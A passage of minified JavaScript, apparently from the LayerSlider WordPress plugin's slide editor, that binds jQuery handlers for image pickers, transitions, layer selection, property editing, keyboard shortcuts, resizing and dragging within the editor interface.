.lse-form-rows-close",(function(e){LayerSlider.setCustomSlideProperties(e)})),jQuery("body").on("click",".lse-color-input .lse-remove",(function(){let e=jQuery(this).parent(),t=jQuery("input",e);e.removeClass("lse-has-color"),t.trigger("track.lse-undomanager").val("").data({color:"",prevColor:"",value:""}).css("background","transparent").trigger("change").trigger("input")})),jQuery("body").on("click","#lse-context-menu-image-input .lse-url-prompt",(function(e){e.preventDefault();var t=prompt(LS_l10n.SBEnterImageURL);if(!t)return!1;var i=jQuery("#lse-context-menu-image-input").data("contextMenuProperties");$opener=i.$opener,$target=$opener.find("lse-image-input"),$target.hasClass("lse-global-background")?(lsSliderData.properties.backgroundimage=t,lsSliderData.properties.backgroundimageId=""):$target.hasClass("lse-slider-preview")?(lsSliderData.meta.preview=t,lsSliderData.meta.previewId=""):$target.hasClass("lse-slide-image")?LS_DataSource.updateProperties("slide.general","SLIDE_IMAGE",LS_activeSlideIndex,LS_activeSlideData.properties,{background:t,backgroundId:"",backgroundThumb:t}):$target.hasClass("lse-slide-thumbnail")?LS_DataSource.updateProperties("slide.general","SLIDE_THUMBNAIL",LS_activeSlideIndex,LS_activeSlideData.properties,{thumbnail:t,thumbnailId:"",thumbnailThumb:t}):$target.hasClass("lse-layer-image")?(LS_DataSource.updateProperties("layer.general","LAYER_IMAGE",LS_activeLayerIndexSet[0],LS_activeLayerDataSet[0],{image:t,imageId:"",imageThumb:t}),LS_DataSource.buildLayersListItem(LS_activeLayerIndexSet[0])):$target.hasClass("lse-media-image")?LS_DataSource.updateProperties("layer.general","VIDEO_POSTER",LS_activeLayerIndexSet[0],LS_activeLayerDataSet[0],{poster:t,posterId:"",posterThumb:t}):$target.hasClass("lse-layer-background-image")&&LS_DataSource.updateProperties("layer.general","LAYER_BG",LS_activeLayerIndexSet[0],LS_activeLayerDataSet[0],{layerBackground:t,layerBackgroundId:"",layerBackgroundThumb:t}),LS_GUI.updateImagePicker($target,t),LayerSlider.updateSlidePreviews(),LayerSlider.generatePreview(),lsSetEditorDirtyState(!0)})).on("click","#lse-context-menu-image-input .lse-post-image",(function(e){e.preventDefault();var t=jQuery("#lse-context-menu-image-input").data("contextMenuProperties");$opener=t.$opener,$target=$opener.find("lse-image-input"),$target.hasClass("lse-slide-image")?LS_DataSource.updateProperties("slide.general","SLIDE_IMAGE",LS_activeSlideIndex,LS_activeSlideData.properties,{background:"[image-url]",backgroundId:"",backgroundThumb:""}):$target.hasClass("lse-slide-thumbnail")?LS_DataSource.updateProperties("slide.general","SLIDE_THUMBNAIL",LS_activeSlideIndex,LS_activeSlideData.properties,{thumbnail:"[image-url]",thumbnailId:"",thumbnailThumb:""}):$target.hasClass("lse-layer-image")?(LS_DataSource.updateProperties("layer.general","LAYER_IMAGE",LS_activeLayerIndexSet[0],LS_activeLayerDataSet[0],{image:"[image-url]",imageId:"",imageThumb:""}),LS_DataSource.buildLayersListItem(LS_activeLayerIndexSet[0])):$target.hasClass("lse-layer-background-image")&&LS_DataSource.updateProperties("layer.general","LAYER_BG",LS_activeLayerIndexSet[0],LS_activeLayerDataSet[0],{layerBackground:"[image-url]",layerBackgroundId:"",layerBackgroundThumb:""}),LS_GUI.updateImagePicker($target,!1),LayerSlider.updateSlidePreviews(),LayerSlider.generatePreview(),lsSetEditorDirtyState(!0)})).on("click","#lse-context-menu-image-input .lse-pixie-editor",(function(e){e.preventDefault(),e.stopPropagation();var t,i=jQuery("#lse-context-menu-image-input").data("contextMenuProperties").$opener.find("lse-image-input");i.attr("id","pixie-current-image"),i.hasClass("lse-global-background")?t=lsSliderData.properties.backgroundimage:i.hasClass("lse-slider-preview")?t=lsSliderData.meta.preview:i.hasClass("lse-slide-image")?t=LS_activeSlideData.properties.background:i.hasClass("lse-slide-thumbnail")?t=LS_activeSlideData.properties.thumbnail:i.hasClass("lse-layer-image")?t=LS_activeLayerDataSet[0].image:i.hasClass("lse-media-image")?t=LS_activeLayerDataSet[0].poster:i.hasClass("lse-layer-background-image")&&(t=LS_activeLayerDataSet[0].layerBackground),LayerSlider.openImageEditor(LS_Utils.toAbsoluteURL(t))})).on("click","#lse-context-menu-image-input .lse-pick-image",(function(e){jQuery("#lse-context-menu-image-input").data("contextMenuProperties").$opener.find("lse-image-input").click()})).on("click","#lse-context-menu-image-input .lse-remove-image",(function(e){var t=jQuery("#lse-context-menu-image-input").data("contextMenuProperties");if($opener=t.$opener,$target=$opener.find("lse-image-input"),$target.hasClass("lse-global-background"))window.lsSliderData.properties.backgroundimage="",window.lsSliderData.properties.backgroundimageId="",window.lsSliderData.properties.backgroundimageThumb="";else if($target.hasClass("lse-slider-preview"))window.lsSliderData.meta.preview="",window.lsSliderData.meta.previewId="";else if($target.hasClass("lse-slide-image"))LS_DataSource.updateProperties("slide.general","SLIDE_IMAGE",LS_activeSlideIndex,LS_activeSlideData.properties,{background:"",backgroundId:"",backgroundThumb:""});else if($target.hasClass("lse-slide-thumbnail"))LS_DataSource.updateProperties("slide.general","SLIDE_THUMBNAIL",LS_activeSlideIndex,LS_activeSlideData.properties,{thumbnail:"",thumbnailId:"",thumbnailThumb:""});else if($target.hasClass("lse-layer-image"))LS_DataSource.updateProperties("layer.general","LAYER_IMAGE",LS_activeLayerIndexSet[0],LS_activeLayerDataSet[0],{image:"",imageId:"",imageThumb:""}),LS_DataSource.buildLayersListItem(LS_activeLayerIndexSet[0]);else if($target.hasClass("lse-media-image"))LS_DataSource.updateProperties("layer.general","VIDEO_POSTER",LS_activeLayerIndexSet[0],LS_activeLayerDataSet[0],{poster:"",posterId:"",posterThumb:""});else if($target.hasClass("lse-layer-background-image")){let e=[];jQuery.each(LS_activeLayerDataSet,(function(t,i){let a=LS_activeLayerIndexSet[t];jQuery("#lse-layers-list lse-li").eq(a);e.push({itemIndex:a,undo:{layerBackground:i.layerBackground,layerBackgroundId:i.layerBackgroundId,layerBackgroundThumb:i.layerBackgroundThumb},redo:{layerBackground:"",layerBackgroundId:"",layerBackgroundThumb:""}}),i.layerBackground="",i.layerBackgroundId="",i.layerBackgroundThumb=""})),LS_UndoManager.add("layer.general","LAYER_BG",e)}LS_GUI.updateImagePicker($target,!1),LayerSlider.updateSlidePreviews(),LayerSlider.generatePreview(),lsSetEditorDirtyState(!0)})).on("click","lse-icon-picker",(function(){let e=this;LS_IconLibrary.open((function(t){LS_IconLibrary.insertPicker(e,t)}))})).on("click",".lse-icon-input .lse-remove",(function(){let e={};e[jQuery(this).closest(".lse-icon-input").find("lse-icon-picker").data("prop")]="",LS_DataSource.updateProperties("layer.general","LAYER_ICON",LS_activeLayerIndexSet[0],LS_activeLayerDataSet[0],e),LS_DataSource.buildLayer(),LayerSlider.generateSelectedPreviewItems()})),jQuery("lse-slide-settings").on("input.lse-update-data change.lse-update-data","input, textarea, select",(function(e){var t=jQuery(this),i=t.attr("name"),a=t.is(":checkbox")?t.prop("checked"):t.val();if(i){LS_activeSlideData.properties[i]=a,"gradient"===t.data("type")&&(LS_activeSlideData.properties[i+"Data"]=t.data("color"));-1!==["bgsize","bgposition","bgcolor"].indexOf(i)&&LayerSlider.generatePreview(),"slide"===lsEditor.preview.state&&(lsEditor.preview.exit("slide"),lsEditor.preview.enter("slide"))}})).on("click",".lse-capture-slide",(function(e){e.preventDefault(),LayerSlider.captureSlide()})),jQuery("body").on("click",".lse-select-transitions",(function(e){e.preventDefault(),LayerSlider.openTransitionGallery()})),jQuery("body").on("click","#lse-transition-window .lse-select-special-transition",(function(e){var t,i=jQuery(this);i.hasClass("lse-selected")?(i.removeClass("lse-selected"),t=!1):(i.addClass("lse-selected"),t=!0),LS_activeSlideData.properties[i.data("name")]=t})).on("click","#lse-transitions-list .lse-transitions-section .lse-transition-item",(function(e){e.preventDefault(),LayerSlider.toggleTransition(this)})).on("click","#lse-transitions-modal-select-button",(function(e){var t=!!jQuery(this).hasClass("lse-off");jQuery("#lse-transitions-list .lse-transitions-section.kmw-active").each((function(){LayerSlider.selectAllTransition(jQuery(this).index(),t)}))})).on("click","#lse-transitions-modal-apply-button",(function(e){lsCommon.smartAlert.confirm(LS_l10n.SBTransitionApplyOthers,(()=>{var e=jQuery(this);e.css("opacity",".5"),setTimeout((function(){e.css("opacity","1")}),2e3),jQuery.each(window.lsSliderData.layers,(function(e,t){t.properties["3d_transitions"]=LS_activeSlideData.properties["3d_transitions"],t.properties["2d_transitions"]=LS_activeSlideData.properties["2d_transitions"],t.properties.custom_3d_transitions=LS_activeSlideData.properties.custom_3d_transitions,t.properties.custom_2d_transitions=LS_activeSlideData.properties.custom_2d_transitions,t.properties.transitionorigami=LS_activeSlideData.properties.transitionorigami}))}))})).on("mouseenter","#lse-transitions-list .lse-transitions-section .lse-transition-item",(function(){LayerSlider.startTransitionPreview(this)})).on("mouseleave","#lse-transitions-list .lse-transitions-section .lse-transition-item",(function(){LayerSlider.stopTransitionPreview(this)})),jQuery("body").on("click","#lse-add-layer-button",(function(e){e.preventDefault(),kmw.modal.open({content:"#lse-add-layer-template",maxWidth:910,id:"lse-add-layer-modal"})})).on("click","#lse-layers-list lse-li",(function(e){if(e.shiftKey&&1===LS_activeLayerDataSet.length){for(var t=LS_lastSelectedLayerIndex||LS_activeLayerIndexSet[0],i=jQuery(this).index(),a=Math.min(t,i),r=Math.max(t,i),s=[],l=a;l<=r;l++)s.push(l);LayerSlider.selectLayer(s)}else if(e.metaKey||e.ctrlKey){let e=jQuery(this),t=jQuery("#lse-layers-list lse-li.lse-active").add(this),i=[];e.hasClass("lse-active")&&(t=t.not(this)),t.each((function(){i.push(jQuery(this).index())})),i&&LayerSlider.selectLayer(i)}else LayerSlider.selectLayer([jQuery(this).index()])})).on("keyup",'input[name="subtitle"]',(function(){var e=jQuery(this).closest("lse-li").index();delete LS_activeSlideData.sublayers[e].autoSubtitle,LS_activeSlideData.sublayers[e].subtitle=jQuery(this).val(),lsSetEditorDirtyState(!0)})).on("click","#lse-layers-list .lse-remove-layer",(function(e){e.preventDefault(),e.stopPropagation(),LayerSlider.removeLayer(jQuery(this).closest("lse-li").index())})).on("click","#lse-layers-list .lse-duplicate-layer",(function(e){e.preventDefault(),e.stopPropagation();let t=jQuery(this).closest("lse-li").index(),i=[t],a=[];a.push(LS_activeSlideData.sublayers[t]),LayerSlider.duplicateLayer(a,i)})).on("click","#lse-layer-device-types lse-button",(function(){LayerSlider.changeLayerScreenType(jQuery(this),!0)})).on("click",".lse-layer-element-type lse-button",(function(e){e.preventDefault();var t=jQuery(this);LS_UndoManager.add("layer.general","LAYER_TYPE",{itemIndex:LS_activeLayerIndexSet[0],undo:{type:LS_activeLayerDataSet[0].type},redo:{type:t.data("element")}}),LayerSlider.selectElementType(this),LayerSlider.generatePreviewItem(LS_activeLayerIndexSet[0])})).on("input.lse-update-data change.lse-update-data","lse-layer-settings input, lse-layer-settings textarea, lse-layer-settings select",(function(e,t){if(t=t||{},!e.undoManagerAction&&!t.undoManagerAction&&("change"!==e.type||jQuery(this).is("select"))){var i=jQuery(this),a=i.attr("data-default"),r=i.attr("name"),s=i.is(":checkbox")?i.prop("checked"):i.val(),l="top"===r||"left"===r;if(!i.data("lse-update-data-exclude")&&!i.closest(".lse-undomanager-exclude").length&&r){"true"===s&&(s=!0),"false"===s&&(s=!1),jQuery.each(LS_activeLayerDataSet,(function(e,t){var o=LS_activeLayerIndexSet[e],n=t;i.hasClass("lse-transition-prop")?n=n.transition:i.hasClass("lse-style-prop")&&(n=n.styles),l||null!==s&&"null"!==s&&""!==s?!l&&i.hasClass("lse-style-prop")&&void 0!==a&&a.toString()===s.toString()?delete n[r]:(n[r]=s,"gradient"===i.data("type")&&(n[r+"Data"]=i.data("color"))):delete n[r],"html"===r&&LayerSlider.autoRenameLayer(o),LayerSlider.generatePreviewItem(o)})),1===LS_activeLayerDataSet.length&&"html"===r&&(LayerSlider.setActiveLayerMedia(),"media"===LS_activeLayerDataSet[0].media&&LayerSlider.checkMediaAutoPlay(i,r,s)),"layer"===lsEditor.preview.state?(lsEditor.preview.exit("layer",{willRestart:!0}),lsEditor.preview.enter("layer")):"slide"===lsEditor.preview.state&&(lsEditor.preview.exit("slide"),lsEditor.preview.enter("slide"));var o=i.closest(".lse-start-at-wrapper"),n=o.parent();if(o.length&&!i.is(".lse-start-at-calc")){let e=jQuery(".lse-start-at-timing",n),t=jQuery(".lse-start-at-operator",n),l=jQuery(".lse-start-at-value",n),o=jQuery(".lse-start-at-calc",n),d=e.attr("name"),c=t.attr("name"),u=l.attr("name"),p=o.attr("name"),y=e.data("default"),h=t.data("default"),S=l.data("default"),m=[];jQuery.each(LS_activeLayerDataSet,((e,t)=>{let l=LS_activeLayerIndexSet[e],o=i.data("prevVal"),n="",v={},L={},g={};g[d]=t.transition[d]||y,g[c]=t.transition[c]||h,g[u]=t.transition[u]||S,g[r]=s||a,n=g[d]+" "+g[c]+" "+g[u],L[p]=t.transition[p],v[p]=n,L[r]=o[e],v[r]=s,t.transition[p]=n,m.push({itemIndex:l,redo:v,undo:L})})),LS_UndoManager.merge("layer.transition","LAYER_TRANSITION",m)}}}})).on("change","lse-layer-settings input.lse-bgvideo",(function(e){LayerSlider.changeVideoType(e)})).on("change","#lse-transition-tabs .lse-layer-transition-checkbox",(function(e){LayerSlider.enableTransitionPage(this)})).on("click","lse-layer-settings .lse-copy-layer-properties",(function(e){e.preventDefault(),e.stopPropagation(),LayerSlider.copyLayerSettings(this)})).on("click","lse-layer-settings .lse-paste-layer-properties",(function(e){e.preventDefault(),e.stopPropagation(),LayerSlider.pasteLayerSettings(this)})).on("mouseenter",'lse-layer-settings select[name="static"]',(function(){LayerSlider.setupStaticLayersChooser(this)})).on("input change",".lse-layer-custom-attributes :input",(function(e){LayerSlider.setLayerAttributes(e)})).on("click",".lse-layer-custom-attributes .lse-form-rows-close",(function(e){LayerSlider.setLayerAttributes(e)})).on("input change","#lse-layer-actions-list :input",(function(e){LayerSlider.setLayerActions(e)})).on("click","#lse-layer-actions-list .lse-form-rows-close",(function(e){LayerSlider.setLayerActions(e)})).on("change",'lse-layer-settings select[name="static"]',(function(){var e,t=jQuery(this).val(),i=parseInt(jQuery(this).val());if("null"===t||null===t||0===i)return delete LS_activeLayerDataSet[0].transition.static,void delete LS_activeLayerDataSet[0].transition.staticUUID;i&&i>0&&(e=LS_DataSource.uuidForSlide(i-1),LS_activeLayerDataSet[0].transition.staticUUID=e)})),LayerSlider.addSlideSortables(),LayerSlider.addLayerSortables(),LayerSlider.addDraggable(),LS_previewArea.on("dragstart",".lse-disabled",(function(e){e.preventDefault()})).on("dblclick","> *:not(.lse-disabled)",(function(){LayerSlider.editLayerStart(jQuery(this))})).on("keydown",".lse-editing",(function(e){LayerSlider.editLayer(e)})).on("keyup",".lse-editing",(function(){LayerSlider.editLayerUpdate(this)})).on("paste",".lse-editing",(function(e){LayerSlider.editLayerPaste(e)})),jQuery("lse-live-preview-area").on("click",'a[href="#"]',(function(e){e.preventDefault()}));var e=null,t={},i={};jQuery(document).on("keydown",(function(a){if(LS_editorSettings.useKeyboardShortcuts&&!LS_preventKeyboardShortcuts&&!LS_Revisions.opened){if((a.metaKey||a.ctrlKey)&&83==a.which&&!a.altKey)return a.preventDefault(),void LayerSlider[a.shiftKey?"publish":"save"]({usedShortcut:!0});if((a.metaKey||a.ctrlKey)&&0==a.key&&(a.preventDefault(),jQuery(".lse-zoom-1").click()),(a.metaKey||a.ctrlKey)&&9==a.key&&(a.preventDefault(),jQuery(".lse-zoom-fit").click()),(a.metaKey||a.ctrlKey)&&69==a.which&&(a.stopPropagation(),LS_SearchWindow.open()),(a.metaKey||a.ctrlKey)&&70==a.which&&jQuery("#lse-toggle-fullscreen").click(),LS_sliderSettingsOpened||LS_searchOpened)return!0;if(jQuery("#pixie-current-image").length)return!0;var r=jQuery(a.target);if(13==a.which){if(r.is(":input:not(textarea, .lse-skip-blur)"))return a.preventDefault(),void a.target.blur();if(!(r.is(":input")||a.shiftKey||a.metaKey||a.ctrlKey||a.altKey))return a.preventDefault(),void LayerSlider.editLayerToggle()}if(27===a.which){var s=jQuery(".lse-editing");s.length&&LayerSlider.editLayerEnd(s)}if(!jQuery(".lse-editing").length){if((a.shiftKey||a.altKey||a.ctrlKey)&&32==a.which&&!jQuery(a.target).is(":input:not(button)"))return a.preventDefault(),lsEditor.preview.toggle("layer");if((a.metaKey||a.ctrlKey)&&65==a.which&&(r.is(":input:not(button)")||(a.preventDefault(),jQuery("#lse-add-layer-button").click())),32==a.which&&!r.is(":input"))return a.preventDefault(),lsEditor.preview.toggle("slide");if(((a.metaKey||a.ctrlKey)&&a.shiftKey&&90==a.which||(a.metaKey||a.ctrlKey)&&89==a.which)&&!jQuery(a.target).is(":input"))return a.preventDefault(),LS_UndoManager.redo();if((a.metaKey||a.ctrlKey)&&90==a.which&&!jQuery(a.target).is(":input"))return a.preventDefault(),LS_UndoManager.undo();if(!LayerSlider.isSlidePreviewActive&&!LayerSlider.isLayerPreviewActive){if((8==a.which||46==a.which)&&!jQuery(a.target).is(":input"))return a.preventDefault(),void LayerSlider.removeLayer();if((a.metaKey||a.ctrlKey)&&68==a.which)return a.preventDefault(),void LayerSlider.duplicateLayer();if((a.metaKey||a.ctrlKey)&&88==a.which&&!jQuery(a.target).is(":input"))return a.preventDefault(),LayerSlider.copyLayer(!0,LS_activeLayerDataSet,LS_activeLayerIndexSet,{shiftLayers:!1}),void LayerSlider.removeLayer(null,{requireConfirmation:!1});if((a.metaKey||a.ctrlKey)&&67==a.which)if(document.getSelection().toString())setTimeout((function(){LS_Utils.removeTextSelection()}),300);else if(!jQuery(a.target).is(":input"))return a.preventDefault(),void LayerSlider.copyLayer(!0);if((a.metaKey||a.ctrlKey)&&86==a.which&&!jQuery(a.target).is(":input"))return a.preventDefault(),void LayerSlider.pasteLayer();if(-1!==[37,38,39,40].indexOf(a.which)&&!jQuery(a.target).is(":input")){a.preventDefault();var l=[];jQuery.each(LS_activeLayerIndexSet,(function(e,r){var s=LS_activeSlideData.sublayers[r],o=LS_previewItems[r];if(!s)return!0;if(s.locked)return!0;var n=Math.round(parseFloat(s.styles.left||0)),d=Math.round(parseFloat(s.styles.top||0));if(-1!==s.styles.left?.indexOf("%")||-1!==s.styles.top?.indexOf("%")){var c=LayerSlider.setPositions(o,s.styles.top||0,s.styles.left||0,!0);n=c.left,d=c.top}t[r]||(t[r]=n),i[r]||(i[r]=d);var u=0,p=0;switch(a.which){case 37:u--;break;case 38:p--;break;case 39:u++;break;case 40:p++}u&&(a.preventDefault(),n+=a.shiftKey||a.altKey?10*u:u,s.styles.left=n+"px",o.css("left",n+"px"),jQuery("lse-layer-settings input[name=left]").val(n+"px")),p&&(a.preventDefault(),d+=a.shiftKey||a.altKey?10*p:p,s.styles.top=d+"px",o.css("top",d+"px"),jQuery("lse-layer-settings input[name=top]").val(d+"px")),l.push({itemIndex:r,undo:{left:t[r]+"px",top:i[r]+"px"},redo:{left:n+"px",top:d+"px"}});let y=lsEditor.layers.transformOrigin.getPropertiesInPixels(s.transition.transformoriginin||"50% 50% 0",n||0,d||0);o[0].style.transformOrigin=y[0]+" "+y[1]})),clearTimeout(e),e=setTimeout((function(){LS_UndoManager.add("layer.style","LAYER_POSITION",l.reverse()),t={},i={}}),1e3),LayerSlider.updatePreviewSelection()}}}}})),jQuery("#lse-editor-form").submit((function(e){e.preventDefault()})),jQuery("#lse-static-layers-list").on("click",".lse-jump-to-layer",(function(e){e.preventDefault(),e.stopPropagation(),LayerSlider.revealStaticLayer(this)})),jQuery("#lse-layers-list").on("click",".lse-hide-layer",(function(e){e.stopPropagation(),LayerSlider.hideLayer(this,{mirrorSettings:!0})})).on("click",".lse-lock-layer",(function(e){e.stopPropagation(),LayerSlider.lockLayer(this,{mirrorSettings:!0})})),LS_PostOptions.init(),LS_PostChooser.init(),LS_IconLibrary.init(),LS_InsertMedia.init(),LS_ButtonLibrary.init(),LS_SVGChooser.init(),LS_ImportSlide.init(),LS_ImportLayer.init(),jQuery("body").on("click","#transition-modal-siderbar kmw-menuitem",(function(){jQuery("#lse-transitions-modal-select-button").show(),jQuery(this).hasClass("lse-transitions-special-effects")&&jQuery("#lse-transitions-modal-select-button").hide(),setTimeout((()=>{var e=jQuery("#lse-transitions-list > .lse-transitions-section.kmw-active").find(".lse-transition-item");e.filter(".lse-selected").length===e.length?jQuery("#lse-transitions-modal-select-button").attr("class","lse-on").text(LS_l10n.deselectAll):jQuery("#lse-transitions-modal-select-button").attr("class","lse-off").text(LS_l10n.selectAll)}),30)})),jQuery("body").on("click",".lse-link-fields .lse-link-dyn",(function(e){e.preventDefault();var t=jQuery(this).closest(".lse-link-fields"),i=jQuery(".lse-link-url-input",t),a=t.closest("lse-slide-settings").length,r=a?LS_activeSlideData.properties:LS_activeLayerDataSet[0],s=a?"SLIDE_SETTINGS":"LAYER_SETTINGS",l=a?"slide.general":"layer.general",o=a?LS_activeSlideIndex:LS_activeLayerIndexSet[0],n=a?"layer_link":"url";LS_UndoManager.add(l,s,{itemIndex:o,undo:{[n]:r[n]||"",linkId:r.linkId||"",linkName:r.linkName||"",linkType:r.linkType||""},redo:{[n]:"[post-url]",linkId:"",linkName:"",linkType:""}}),i.val("[post-url]"),t.find("input").trigger("input"),LS_GUI.updateLinkPicker(i)})).on("click",".lse-link-fields .lse-remove",(function(e){e.preventDefault();var t=jQuery(this).closest(".lse-link-fields"),i=t.closest("lse-slide-settings").length,a=i?LS_activeSlideData.properties:LS_activeLayerDataSet[0],r=i?"SLIDE_SETTINGS":"LAYER_SETTINGS",s=i?"slide.general":"layer.general",l=i?LS_activeSlideIndex:LS_activeLayerIndexSet[0],o=i?"layer_link":"url";LS_UndoManager.add(s,r,{itemIndex:l,undo:{[o]:a[o]||"",linkId:a.linkId||"",linkName:a.linkName||"",linkType:a.linkType||""},redo:{[o]:"",linkId:"",linkName:"",linkType:""}}),t.removeClass("lse-has-link").find("input").val("").prop("disabled",!1).trigger("input"),LS_GUI.updateLinkPicker("url")})),jQuery("body").on("click",".lse-modify-shape",(function(e){e.preventDefault();new LS_ShapeEditor(LS_activeLayerDataSet[0].html,LS_activeLayerDataSet[0].shapeData,LS_activeLayerIndexSet[0])})).on("click",".lse-modify-object",(function(e){e.preventDefault(),LS_SVGChooser.open(LS_activeLayerDataSet[0].html)})),LS_DataSource.buildSlide(),LayerSlider.generatePreview();LS_previewWrapper.lsRuler();jQuery("body").on("click","#lse-history-list lse-button",(function(){jQuery(this).addClass("lse-selected").siblings().removeClass("lse-selected"),LS_UndoManager.jumpTo(jQuery(this).index())})).on("click","#lse-history-undo:not(.lse-disabled)",(function(e){LS_UndoManager.undo()})).on("click","#lse-history-redo:not(.lse-disabled)",(function(){LS_UndoManager.redo()})).on("focus.lse-undomanager change.lse-undomanager track.lse-undomanager","select, input, textarea",(function(e){LS_UndoManager.trackInputs(e,this)})),$lasso=jQuery("<div>").append(jQuery("lse-rotate-selected")).append(jQuery("<lse-forbid-autoselect></lse-forbid-autoselect>")).resizable({handles:"all"}).on("resize",(function(e){e.stopPropagation()})).on("mousedown.ls",".ui-resizable-handle",(function(e){1==e.which&&($lasso.data("ui-resizable")._aspectRatio=!!this.className.match(/-se|-sw|-ne|-nw/))})).on("resizestart.ls",(function(e,t){lsEditor.layers.highlight.disable();var i=t.helper.position();t.originalPosition.top=i.top,t.originalPosition.left=i.left,jQuery("#lse-workspace .ui-selected:not(.lse-disabled)").each((function(){var e=jQuery(this),t={left:parseFloat(e[0].style.left),top:parseFloat(e[0].style.top)};e.data("originalPosition",{top:t.top,left:t.left}).data("originalSize",{width:e.outerWidth(),height:e.outerHeight(),fontSize:parseInt(e.css("fontSize")),lineHeight:-1!==e.css("lineHeight").indexOf("px")&&parseInt(e.css("lineHeight"))})}))})).on("resize.ls",(function(e,t){LayerSlider.resizing(e,t)})).on("resizestop.ls",(function(e,t){var i=[];LayerSlider.resizing(e,t),$lasso.removeData("dragDirection"),jQuery("#lse-workspace .ui-selected:not(.lse-disabled)").each((function(){var e=jQuery(this),t=e.index(),a=LS_activeSlideData.sublayers[t],r=e.position(),s={width:e.width(),height:e.height()},l=parseInt(e.css("font-size")),o=parseInt(e.css("line-height")),n=e.data("originalPosition"),d=e.data("originalSize"),c={itemIndex:t,undo:{top:n.top+"px",left:n.left+"px",width:d.width+"px",height:d.height+"px","font-size":d.fontSize+"px","line-height":d.lineHeight+"px"},redo:{top:Math.round(r.top/LS_previewZoom)+"px",left:Math.round(r.left/LS_previewZoom)+"px",width:Math.round(s.width)+"px",height:Math.round(s.height)+"px","font-size":Math.round(l)+"px","line-height":Math.round(o)+"px"}};a.styles.width||e.is("img,div")||(e.width("auto"),delete c.undo.width,delete c.redo.width),a.styles.height||e.is("img,div")||(e.height("auto"),delete c.undo.height,delete c.redo.height),i.push(c)})),LS_UndoManager.add("layer.style","LAYER_RESIZE",i),LayerSlider.updatePreviewSelection(),lsEditor.layers.highlight.enable()})).addClass("ui-selected-helper").appendTo(LS_previewWrapper),$lsEwf.on("mouseup.ls",(function(e){var t=jQuery(".ui-selectable-helper");if(t.length){var i=t.position(),a=i.top,r=i.left,s=t.outerWidth(),l=t.outerHeight(),o=[];LS_previewArea.children(".ls-l").each((function(e){var t=jQuery(this),i=LS_activeSlideData.sublayers[e],n=LS_previewArea.offset().top+t.position().top,d=LS_previewArea.offset().left+t.position().left,c=t.outerWidth()*LS_previewZoom,u=t.outerHeight()*LS_previewZoom;if(i.locked||i.skip||t.hasClass("lse-disabled"))return!0;n>a&&n+u<a+l&&d>r&&d+c<r+s&&o.push(e)})),LayerSlider.selectLayer(o.length?o:LS_activeLayerIndexSet)}})).selectable({appendTo:$lsEwf,tolerance:"fit",filter:".ui-draggable:not(.lse-disabled)",cancel:".lse-disabled",distance:3}),$lsEpw.on("click.ls",".ui-draggable",(function(e){if(3!==e.which&&!LS_layerWasDragged&&!e.ctrlKey&&!e.metaKey){var t=jQuery(this).index(),i=LS_activeSlideData.sublayers[t];return!(!i||i.locked)&&void LayerSlider.selectLayer([jQuery(this).index()])}})).on("mousedown.ls",".ui-draggable",(function(e,t){if(LS_layerWasDragged=!1,1==e.which){var i=jQuery(this),a=i.index(),r=LS_activeSlideData.sublayers[a];if(!r||r.locked)return!1;i.hasClass("ui-selected")?(e.ctrlKey||e.metaKey)&&i.removeClass("ui-selected").trigger("selectablestop.ls"):(e.ctrlKey||e.metaKey||i.siblings(".ui-selected").removeClass("ui-selected"),i.addClass("ui-selected").trigger("selectablestop.ls"))}})).on("selectablestop.ls",(function(e,t){let i=[];$lsEpw.find(".ui-selected:not(.lse-disabled)").each((function(){i.push(jQuery(this).index())})),i.length||(i=LS_activeLayerIndexSet),LayerSlider.selectLayer(i)})).on("dragstart.ls",(function(e,t){if(!t)return!1;jQuery(".lse-center-line").addClass("lse-visible"),LS_layerWasDragged=!0,t.originalPosition.left=parseFloat(t.helper[0].style.left)*LS_previewZoom,t.originalPosition.top=parseFloat(t.helper[0].style.top)*LS_previewZoom;let i,a=t.helper.data("ui-draggable").snapElements,r=a.length;for(var s=0;s<r;s++)i=jQuery(a[s].item),i.is("lse-ruler-wrapper")||(a[s].width=i.outerWidth()*LS_previewZoom,a[s].height=i.outerHeight()*LS_previewZoom);t.helper.data({
originalWidth:parseFloat(t.helper[0].style.width),originalHeight:parseFloat(t.helper[0].style.height)})})).on("dragstop.ls",(function(e,t){t.helper[0].style.width=t.helper.data("originalWidth")||"auto",t.helper[0].style.height=t.helper.data("originalHeight")||"auto",jQuery(".lse-center-line").removeClass("lse-visible")})).on("drag.ls",(function(e,t){jQuery.data(t.helper[0],"ui-draggable").helperProportions={width:t.helper.outerWidth()*LS_previewZoom,height:t.helper.outerHeight()*LS_previewZoom};let i=(t.position.top-t.originalPosition.top)/LS_previewZoom,a=(t.position.left-t.originalPosition.left)/LS_previewZoom;if(t.position.left=t.position.left/LS_previewZoom,t.position.top=t.position.top/LS_previewZoom,e.shiftKey&&(Math.abs(a)>=Math.abs(i)?(i=0,t.position.top=t.originalPosition.top/LS_previewZoom):(a=0,t.position.left=t.originalPosition.left/LS_previewZoom),t.helper.css(t.position)),t.helper.draggable("option","snap")){let i=t.helper.data("ui-draggable"),a=lsEditor.localStorage.data?.action?.layerSnapping;a=void 0===a||"true"===a,i.snapElements.length&&(!a||e.ctrlKey||e.metaKey)&&(i._snapElements=i.snapElements,i.snapElements=[]),i.snapElements.length||!a||e.ctrlKey||e.metaKey||(i.snapElements=i._snapElements)}$lsEpw.find(".ui-selected:not(.lse-disabled)").each((function(e,r){let s,l,o=jQuery(r),n=LS_activeSlideData.sublayers[o.index()];if(o.is(t.helper))s=parseFloat(r.style.left),l=parseFloat(r.style.top);else{let e=o.data("originalPosition");r.style.left=s=Math.round(e.left+a)+"px",r.style.top=l=Math.round(e.top+i)+"px"}let d=lsEditor.layers.transformOrigin.getPropertiesInPixels(n.transition.transformoriginin||"50% 50% 0",parseFloat(s)||0,parseFloat(l)||0);r.style.transformOrigin=d[0]+" "+d[1]}));var r=$lasso.data("originalPosition");$lasso.css({left:r.left+a*LS_previewZoom+"px",top:r.top+i*LS_previewZoom+"px"}).attr({"data-info-0":"x: "+Math.round(parseFloat($lasso.css("left"))/LS_previewZoom)+"px","data-info-1":"y: 